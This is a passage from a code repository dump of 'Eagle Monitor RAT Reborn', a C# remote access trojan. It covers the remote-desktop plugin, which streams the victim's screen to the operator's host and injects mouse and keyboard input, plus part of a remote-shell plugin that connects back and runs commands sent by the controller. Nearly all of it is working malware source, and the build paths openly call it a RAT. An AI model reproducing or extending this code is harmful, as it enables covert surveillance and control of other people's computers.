(byte)data.PacketType;\n\n            lock (socket)\n            {\n                try\n                {\n                    socket.Poll(-1, SelectMode.SelectWrite);\n                    int sent = socket.Send(header);\n\n                    if (size > 1000000)\n                    {\n                        using (MemoryStream memoryStream = new MemoryStream(encryptedData))\n                        {\n                            int read = 0;\n                            memoryStream.Position = 0;\n                            byte[] chunk = new byte[50 * 1000];\n                            while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)\n                            {\n                                socket.Send(chunk, 0, read, SocketFlags.None);\n                            }\n                        }\n                    }\n                    else\n                    {\n                        while (total < size)\n                        {\n                            sent = socket.Send(encryptedData, total, size, SocketFlags.None);\n                            total += sent;\n                            datalft -= sent;\n                        }\n                    }\n                    return size;\n\n                }\n                catch (Exception)\n                {\n                    Connected = false;\n                    return 0;\n                }\n            }\n        }\n\n        private void SendDataCompleted(IAsyncResult ar)\n        {\n            sendDataAsync.EndInvoke(ar);\n        }\n\n        public void CaptureDesktop() \n        {\n            if (!hasToExit)\n                captureDesktop.BeginInvoke(new AsyncCallback(EndDesktopPicture), null);\n            else\n                return;\n        }\n\n        public byte[] DesktopPicture() \n        {\n            return CaptureHelpers.Capture(Launch.remoteViewerBasePacket.width, Launch.remoteViewerBasePacket.height, Launch.remoteViewerBasePacket.quality, Launch.remoteViewerBasePacket.format, ref vResol, ref hResol);\n        }\n\n        public void EndDesktopPicture(IAsyncResult ar) \n        {\n            ar.AsyncWaitHandle.WaitOne();\n            byte[] desktopPicture = captureDesktop.EndInvoke(ar);\n            ar.AsyncWaitHandle.Close();\n\n            RemoteViewerPacket remoteViewerPacket = new RemoteViewerPacket(PacketType.RM_VIEW_ON, this.baseIp, this.HWID)\n            {\n                desktopPicture = desktopPicture,\n                hResol = hResol,\n                vResol = vResol\n            };\n\n            if (!hasToExit)\n            {\n                Thread.Sleep(Launch.remoteViewerBasePacket.timeMS);\n                SendPacket(remoteViewerPacket);\n                CaptureDesktop();\n            }\n            else \n            {\n                Launch.clientHandler.Dispose();\n                return;\n            }\n        }\n     \n        public void Dispose()\n        {\n            socket.Close();\n            socket.Dispose();\n            socket = null;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteDesktop/Imports.cs",
    "content": "﻿using System;\nusing System.Drawing;\nusing System.Runtime.InteropServices;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n|| Inspiration : QuasarRAT  ||\n*/\n\nnamespace Plugin\n{\n    internal class Imports\n    {\n        #region \"user32\"\n        private const string user32 = \"user32.dll\";\n        [DllImport(user32)]\n        internal static extern bool DrawIcon(IntPtr hDC, int X, int Y, IntPtr hIcon);\n        [DllImport(user32)]\n        internal static extern bool GetCursorInfo(ref CURSORINFOHELPER pci);\n        [DllImport(user32)]\n        internal static extern bool GetCursorPos(out Point lpPoint);\n\n        [StructLayout(LayoutKind.Sequential)]\n        internal struct CURSORINFOHELPER\n        {\n            public Int32 cbSize;\n            public Int32 flags;\n            public IntPtr hCursor;\n            public Point ptScreenPos;\n        }\n\n\n\n        internal const int INPUT_MOUSE = 0;\n        internal const int INPUT_KEYBOARD = 1;\n\n        internal const uint MOUSEEVENTF_LEFTDOWN = 0x0002;\n        internal const uint MOUSEEVENTF_LEFTUP = 0x0004;\n        internal const uint MOUSEEVENTF_RIGHTDOWN = 0x0008;\n        internal const uint MOUSEEVENTF_RIGHTUP = 0x0010;\n        internal const uint MOUSEEVENTF_WHEEL = 0x0800;\n        internal const uint KEYEVENTF_KEYDOWN = 0x0000;\n        internal const uint KEYEVENTF_KEYUP = 0x0002;\n\n        internal const uint MOUSEEVENTF_MIDDLEDOWN = 0x0020;\n        internal const uint MOUSEEVENTF_MIDDLEUP = 0x0040;\n\n        [DllImport(user32)]\n        internal static extern IntPtr GetMessageExtraInfo();\n\n        [DllImport(user32)]\n        internal static extern uint SendInput(uint nInputs,[MarshalAs(UnmanagedType.LPArray), In] INPUT[] pInputs, int cbSize);\n\n        [StructLayout(LayoutKind.Sequential)]\n        internal struct INPUT\n        {\n            internal uint type;\n            internal InputUnion u;\n            internal static int Size => Marshal.SizeOf(typeof(INPUT));\n        }\n\n        [StructLayout(LayoutKind.Explicit)]\n        internal struct InputUnion\n        {\n            [FieldOffset(0)]\n            internal MOUSEINPUT mi;\n            [FieldOffset(0)]\n            internal KEYBDINPUT ki;\n            [FieldOffset(0)]\n            internal HARDWAREINPUT hi;\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        internal struct MOUSEINPUT\n        {\n            internal int dx;\n            internal int dy;\n            internal int mouseData;\n            internal uint dwFlags;\n            internal uint time;\n            internal IntPtr dwExtraInfo;\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        internal struct KEYBDINPUT\n        {\n            internal ushort wVk;\n            internal ushort wScan;\n            internal uint dwFlags;\n            internal uint time;\n            internal IntPtr dwExtraInfo;\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        internal struct HARDWAREINPUT\n        {\n            public uint uMsg;\n            public ushort wParamL;\n            public ushort wParamH;\n        }\n\n        [DllImport(user32)]\n        internal static extern bool SetCursorPos(int x, int y);\n\n        #endregion\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteDesktop/KeyboardHelper.cs",
    "content": "﻿using System.Runtime.InteropServices;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n|| Inspiration : QuasarRAT  ||\n*/\n\nnamespace Plugin\n{\n    internal class KeyboardHelper\n    {\n        internal static void KeyPress(byte key, bool keyDown)\n        {\n            Imports.INPUT[] inputs = {\n                new Imports.INPUT\n                {\n                    type = Imports.INPUT_KEYBOARD,\n                    u = new Imports.InputUnion\n                    {\n                        ki = new Imports.KEYBDINPUT\n                        {\n                            wVk = key,\n                            wScan = 0,\n                            dwFlags = keyDown ? Imports.KEYEVENTF_KEYDOWN : Imports.KEYEVENTF_KEYUP,\n                            dwExtraInfo = Imports.GetMessageExtraInfo()\n                        }\n                    }\n                }\n            };\n            Imports.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(Imports.INPUT)));\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteDesktop/Launch.cs",
    "content": "﻿using PacketLib;\nusing PacketLib.Packet;\nusing PacketLib.Utils;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    public static class Launch\n    {\n        internal static ClientHandler clientHandler;\n\n        internal static RemoteViewerPacket remoteViewerBasePacket;\n        public static void Main(LoadingAPI loadingAPI)\n        {\n            switch (loadingAPI.CurrentPacket.PacketType)\n            {\n                case PacketType.RM_VIEW_ON:\n                    remoteViewerBasePacket = (RemoteViewerPacket)loadingAPI.CurrentPacket;\n                    clientHandler = new ClientHandler(loadingAPI.Host, loadingAPI.Key, loadingAPI.BaseIp, loadingAPI.HWID);\n                    clientHandler.ConnectStart();\n                    break;\n                default:\n                    return;\n            }\n            Miscellaneous.CleanMemory();\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteDesktop/MouseHelper.cs",
    "content": "﻿using System.Drawing;\nusing System.Runtime.InteropServices;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n|| Inspiration : QuasarRAT  ||\n*/\n\nnamespace Plugin\n{\n    internal class MouseHelper\n    {\n        internal static void MouseLeftClick(Point p, bool isMouseDown)\n        {\n            Imports.INPUT[] inputs = {\n                new Imports.INPUT\n                {\n                    type = Imports.INPUT_MOUSE,\n                    u = new Imports.InputUnion\n                    {\n                        mi = new Imports.MOUSEINPUT\n                        {\n                            dx = p.X,\n                            dy = p.Y,\n                            mouseData = 0,\n                            dwFlags = isMouseDown ? Imports.MOUSEEVENTF_LEFTDOWN : Imports.MOUSEEVENTF_LEFTUP,\n                            time = 0,\n                            dwExtraInfo = Imports.GetMessageExtraInfo()\n                        }\n                    }\n                }\n            };\n\n            Imports.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(Imports.INPUT)));\n        }\n\n        internal static void MiddleMouseClick(Point p, bool isMouseDown) \n        {\n            Imports.INPUT[] inputs = {\n                new Imports.INPUT\n                {\n                    type = Imports.INPUT_MOUSE,\n                    u = new Imports.InputUnion\n                    {\n                        mi = new Imports.MOUSEINPUT\n                        {\n                            dx = p.X,\n                            dy = p.Y,\n                            mouseData = 0,\n                            dwFlags = isMouseDown ? Imports.MOUSEEVENTF_MIDDLEDOWN : Imports.MOUSEEVENTF_MIDDLEUP,\n                            time = 0,\n                            dwExtraInfo = Imports.GetMessageExtraInfo()\n                        }\n                    }\n                }\n            };\n\n            Imports.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(Imports.INPUT)));\n        }\n\n        internal static void MouseRightClick(Point p, bool isMouseDown)\n        {\n            Imports.INPUT[] inputs = {\n                new Imports.INPUT\n                {\n                    type =  Imports.INPUT_MOUSE,\n                    u = new Imports.InputUnion\n                    {\n                        mi = new Imports.MOUSEINPUT\n                        {\n                            dx = p.X,\n                            dy = p.Y,\n                            mouseData = 0,\n                            dwFlags = isMouseDown ?  Imports.MOUSEEVENTF_RIGHTDOWN :  Imports.MOUSEEVENTF_RIGHTUP,\n                            time = 0,\n                            dwExtraInfo = Imports.GetMessageExtraInfo()\n                        }\n                    }\n                }\n            };\n\n            Imports.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(Imports.INPUT)));\n        }\n\n\n        internal static void MouseScroll(Point p, bool scrollDown)\n        {\n            Imports.INPUT[] inputs = {\n                new Imports.INPUT\n                {\n                    type = Imports.INPUT_MOUSE,\n                    u = new Imports.InputUnion\n                    {\n                        mi = new Imports.MOUSEINPUT\n                        {\n                            dx = p.X,\n                            dy = p.Y,\n                            mouseData = scrollDown ? -120 : 120,\n                            dwFlags = Imports.MOUSEEVENTF_WHEEL,\n                            time = 0,\n                            dwExtraInfo = Imports.GetMessageExtraInfo()\n                        }\n                    }\n                }\n            };\n\n            Imports.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(Imports.INPUT)));\n        }\n\n        internal static void MouseMove(Point p)\n        {\n            Imports.SetCursorPos(p.X, p.Y);\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteDesktop/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// Les informations générales relatives à un assembly dépendent de\n// l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations\n// associées à un assembly.\n[assembly: AssemblyTitle(\"RemoteDesktop\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"RemoteDesktop\")]\n[assembly: AssemblyCopyright(\"Arsium © 2022\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly\n// aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de\n// COM, affectez la valeur true à l'attribut ComVisible sur ce type.\n[assembly: ComVisible(false)]\n\n// Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM\n[assembly: Guid(\"5389698f-e221-466d-8682-8f289c44f1dd\")]\n\n// Les informations de version pour un assembly se composent des quatre valeurs suivantes :\n//\n//      Version principale\n//      Version secondaire\n//      Numéro de build\n//      Révision\n//\n// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut\n// en utilisant '*', comme indiqué ci-dessous :\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"3.2.4.0\")]\n[assembly: AssemblyFileVersion(\"3.2.4.0\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteDesktop/RemoteDesktop.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <Import Project=\"..\\..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props\" Condition=\"Exists('..\\..\\..\\packages\\Costura.Fody.4.1.0\\build\\Costura.Fody.props')\" />\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProjectGuid>{5389698F-E221-466D-8682-8F289C44F1DD}</ProjectGuid>\n    <OutputType>Library</OutputType>\n    <AppDesignerFolder>Properties</AppDesignerFolder>\n    <RootNamespace>Plugin</RootNamespace>\n    <AssemblyName>RemoteDesktop</AssemblyName>\n    <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>\n    <FileAlignment>512</FileAlignment>\n    <Deterministic>true</Deterministic>\n    <NuGetPackageImportStamp>\n    </NuGetPackageImportStamp>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <DebugSymbols>false</DebugSymbols>\n    <DebugType>none</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>..\\..\\bin\\Debug\\Plugins\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <DebugType>none</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>..\\..\\bin\\Release\\Plugins\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n    <AllowUnsafeBlocks>true</AllowUnsafeBlocks>\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"System\" />\n    <Reference Include=\"System.Drawing\" />\n    <Reference Include=\"System.Windows.Forms\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"ClientHandler.cs\" />\n    <Compile Include=\"CaptureHelpers.cs\" />\n    <Compile Include=\"Imports.cs\" />\n    <Compile Include=\"KeyboardHelper.cs\" />\n    <Compile Include=\"Launch.cs\" />\n    <Compile Include=\"MouseHelper.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ProjectReference Include=\"..\\..\\Utils\\PacketLib\\PacketLib.csproj\">\n      <Project>{81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff}</Project>\n      <Name>PacketLib</Name>\n    </ProjectReference>\n  </ItemGroup>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n</Project>"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteDesktop/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteDesktop/obj/Debug/RemoteDesktop.csproj.CoreCompileInputs.cache",
    "content": "569f50a7cb10757293d82fa4927798d72b1f8e97\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteDesktop/obj/Debug/RemoteDesktop.csproj.FileListAbsolute.txt",
    "content": "D:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Debug\\Plugins\\RemoteDesktop.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteDesktop\\obj\\Debug\\RemoteDesktop.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteDesktop\\obj\\Debug\\RemoteDesktop.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteDesktop\\obj\\Debug\\RemoteDesktop.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteDesktop\\obj\\Debug\\RemoteDesktop.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Debug\\Plugins\\RemoteDesktop.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteDesktop\\obj\\Debug\\RemoteDesktop.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteDesktop\\obj\\Debug\\RemoteDesktop.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteDesktop\\obj\\Debug\\RemoteDesktop.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteDesktop\\obj\\Debug\\RemoteDesktop.dll\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteDesktop/obj/Debug/RemoteDesktop.csproj.Fody.CopyLocal.cache",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteDesktop/obj/Debug/build.force",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteDesktop/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs",
    "content": "// <autogenerated />\nusing System;\nusing System.Reflection;\n[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(\".NETFramework,Version=v4.5\", FrameworkDisplayName = \".NET Framework 4.5\")]\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteDesktop/obj/Release/RemoteDesktop.csproj.CoreCompileInputs.cache",
    "content": "a2e2cbf0cdbe0b606d0a71b913102b4aca64fb6f\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteDesktop/obj/Release/RemoteDesktop.csproj.FileListAbsolute.txt",
    "content": "D:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\RemoteDesktop.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteDesktop\\obj\\Release\\RemoteDesktop.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteDesktop\\obj\\Release\\RemoteDesktop.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteDesktop\\obj\\Release\\RemoteDesktop.csproj.Fody.CopyLocal.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteDesktop\\obj\\Release\\RemoteDesktop.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\RemoteDesktop.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteDesktop\\obj\\Release\\RemoteDesktop.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteDesktop\\obj\\Release\\RemoteDesktop.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteDesktop\\obj\\Release\\RemoteDesktop.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\RemoteDesktop\\obj\\Release\\RemoteDesktop.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\RemoteDesktop.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\RemoteDesktop\\obj\\Release\\RemoteDesktop.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\RemoteDesktop\\obj\\Release\\RemoteDesktop.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\RemoteDesktop\\obj\\Release\\RemoteDesktop.csproj.CopyComplete\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\RemoteDesktop\\obj\\Release\\RemoteDesktop.dll\nC:\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\RemoteDesktop.dll\nC:\\Eagle Monitor RAT Reborn\\Plugins\\RemoteDesktop\\obj\\Release\\RemoteDesktop.csproj.AssemblyReference.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\RemoteDesktop\\obj\\Release\\RemoteDesktop.csproj.CoreCompileInputs.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\RemoteDesktop\\obj\\Release\\RemoteDesktop.csproj.CopyComplete\nC:\\Eagle Monitor RAT Reborn\\Plugins\\RemoteDesktop\\obj\\Release\\RemoteDesktop.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\RemoteDesktop.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteDesktop\\obj\\Release\\RemoteDesktop.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteDesktop\\obj\\Release\\RemoteDesktop.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteDesktop\\obj\\Release\\RemoteDesktop.csproj.CopyComplete\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteDesktop\\obj\\Release\\RemoteDesktop.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\RemoteDesktop.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteDesktop\\obj\\Release\\RemoteDesktop.csproj.AssemblyReference.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteDesktop\\obj\\Release\\RemoteDesktop.csproj.CoreCompileInputs.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteDesktop\\obj\\Release\\RemoteDesktop.csproj.CopyComplete\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteDesktop\\obj\\Release\\RemoteDesktop.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\RemoteDesktop.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteDesktop\\obj\\Release\\RemoteDesktop.csproj.AssemblyReference.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteDesktop\\obj\\Release\\RemoteDesktop.csproj.CoreCompileInputs.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteDesktop\\obj\\Release\\RemoteDesktop.csproj.CopyComplete\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\RemoteDesktop\\obj\\Release\\RemoteDesktop.dll\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteDesktop/obj/Release/RemoteDesktop.csproj.Fody.CopyLocal.cache",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteDesktop/obj/Release/_IsIncrementalBuild",
    "content": "obj\\Release\\\\_IsIncrementalBuild\n"
  },
  {
    "path": "Remote Access Tool/Plugins/RemoteShell/ClientHandler.cs",
    "content": "﻿using PacketLib.Packet;\nusing PacketLib.Utils;\nusing PacketLib;\nusing System.IO;\nusing System.Net.Sockets;\nusing System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Plugin\n{\n    internal class ClientHandler : IDisposable\n    {\n        public Host host { get; set; }\n        private Socket socket { get; set; }\n        public bool Connected { get; set; }\n        public string HWID { get; set; }\n        public string baseIp { get; set; }\n        public string key { get; set; }\n        public bool hasToExit { get; set; }\n        private bool isPWS { get; set; }\n\n        private delegate bool ConnectAsync();\n        private delegate PacketType SendDataAsync(IPacket data);\n\n\n        private ConnectAsync connectAsync;\n        private readonly SendDataAsync sendDataAsync;\n\n        private delegate byte[] ReadDataAsync();\n        private delegate IPacket ReadPacketAsync(byte[] BufferPacket);\n\n        private ReadDataAsync readDataAsync;\n        private ReadPacketAsync readPacketAsync;\n\n        private ShellHander shellHander;\n\n        public ClientHandler(Host host, string key, string baseIp, string HWID, bool isPWS) : base()\n        {\n            this.hasToExit = false;\n            this.host = host;\n            this.key = key;\n            this.HWID = HWID;\n            this.baseIp = baseIp;\n            sendDataAsync = new SendDataAsync(SendData);\n            readDataAsync = new ReadDataAsync(ReceiveData);\n            readPacketAsync = new ReadPacketAsync(PacketParser);\n            this.isPWS = isPWS;\n        }\n\n        public void ConnectStart()\n        {\n            connectAsync = new ConnectAsync(Connect);\n            connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null);\n        }\n\n        private bool Connect()\n        {\n            try\n            {\n                socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);\n                socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);\n                socket.Connect(host.host, host.port);\n                return true;\n            }\n            catch { }\n            return false;\n        }\n        public void EndConnect(IAsyncResult ar)\n        {\n            Connected = connectAsync.EndInvoke(ar);\n\n            if (hasToExit)\n            {\n                return;\n            }\n\n            if (!Connected)\n            {\n                ConnectStart();\n            }\n            else\n            {\n                shellHander = new ShellHander(this.isPWS);\n                StartShellSessionPacket startShellSessionPacket = new StartShellSessionPacket(this.isPWS)\n                {\n                    BaseIp = this.baseIp,\n                    HWID = this.HWID\n                };\n                this.SendPacket(startShellSessionPacket);\n                Receive();\n            }\n        }\n\n        public void Receive()\n        {\n            if (hasToExit)\n            {\n                this.shellHander.Dispose();\n                this.Dispose();\n                return;\n            }\n            if (Connected)\n                readDataAsync.BeginInvoke(new AsyncCallback(EndDataRead), null);\n            else\n                ConnectStart();\n        }\n        private byte[] ReceiveData()\n        {\n            try\n            {\n                int total = 0;\n                int recv;\n                byte[] header = new byte[5];\n                socket.Poll(-1, SelectMode.SelectRead);\n                recv = socket.Receive(header, 0, 5, 0);\n\n                int size = BitConverter.ToInt32(new byte[4] { header[0], header[1], header[2], header[3] }, 0);\n                PacketType packetType = (PacketType)header[4];\n\n                int dataleft = size;\n                byte[] data = new byte[size];\n                while (total < size)\n                {\n                    recv = socket.Receive(data, total, dataleft, 0);\n                    total += recv;\n                    dataleft -= recv;\n                }\n\n                return data;\n            }\n            catch (Exception)\n            {\n                if (Connected)\n                    hasToExit = true;\n\n                Connected = false;\n                return null;\n            }\n        }\n        public void EndDataRead(IAsyncResult ar)\n        {\n            byte[] data = readDataAsync.EndInvoke(ar);\n\n            if (data != null && Connected)\n                readPacketAsync.BeginInvoke(data, new AsyncCallback(EndPacketRead), null);\n            Receive();\n        }\n\n        private IPacket PacketParser(byte[] BufferPacket)\n        {\n            try\n            {\n                return BufferPacket.DeserializePacket(this.key);\n            }\n            catch (Exception)\n            { return null; }\n        }\n\n        public void EndPacketRead(IAsyncResult ar)\n        {\n            IPacket packet = readPacketAsync.EndInvoke(ar);\n\n            if (packet != null)\n                ParsePacket(packet);\n        }\n\n        public void ParsePacket(IPacket packet)\n        {\n            switch (packet.PacketType)\n            {\n                case PacketType.SHELL_COMMAND:\n                    NewCommandShellSessionPacket newCommandShellSessionPacket = (NewCommandShellSessionPacket)packet;\n                    this.shellHander.ExecuteCommand(newCommandShellSessionPacket.shellCommand);\n                    break;\n\n                case PacketType.SHELL_STOP:\n                    hasToExit = true;\n                    break;\n            }\n        }\n\n        public void SendPacket(IPacket packet)\n        {\n            if (Connected)\n                sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null);\n        }\n        private PacketType SendData(IPacket data)\n        {\n            byte[] encryptedData = data.SerializePacket(this.key);\n\n            int total = 0;\n            int size = encryptedData.Length;\n            int datalft = size;\n            byte[] header = new byte[5];\n\n            byte[] temp = BitConverter.GetBytes(size);\n\n            header[0] = temp[0];\n            header[1] = temp[1];\n            header[2] = temp[2];\n            header[3] = temp[3];\n            header[4] = (byte)data.PacketType;\n\n            lock (socket)\n            {\n                try\n                {\n                    socket.Poll(-1, SelectMode.SelectWrite);\n                    int sent = socket.Send(header);\n\n                    if (size > 1000000)\n                    {\n                        using (MemoryStream memoryStream = new MemoryStream(encryptedData))\n                        {\n                            int read = 0;\n                            memoryStream.Position = 0;\n                            byte[] chunk = new byte[50 * 1000];\n                            while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)\n                            {\n                                socket.Send(chunk, 0, read, SocketFlags.None);\n                            }\n                        }\n                    }\n                    else\n                    {\n                        while (total < size)\n                        {\n                            sent = socket.Send(encryptedData, total, size, SocketFlags.None);\n                            total += sent;\n                            datalft -= sent;\n                        }\n                    }\n                    return data.PacketType;\n                }\n\n                catch (Exception)\n                {\n                    Connected = false;\n                }\n            }\n            return data.PacketType;\n        }\n\n        private void SendDataCompleted(IAsyncResult ar)\n        {\n            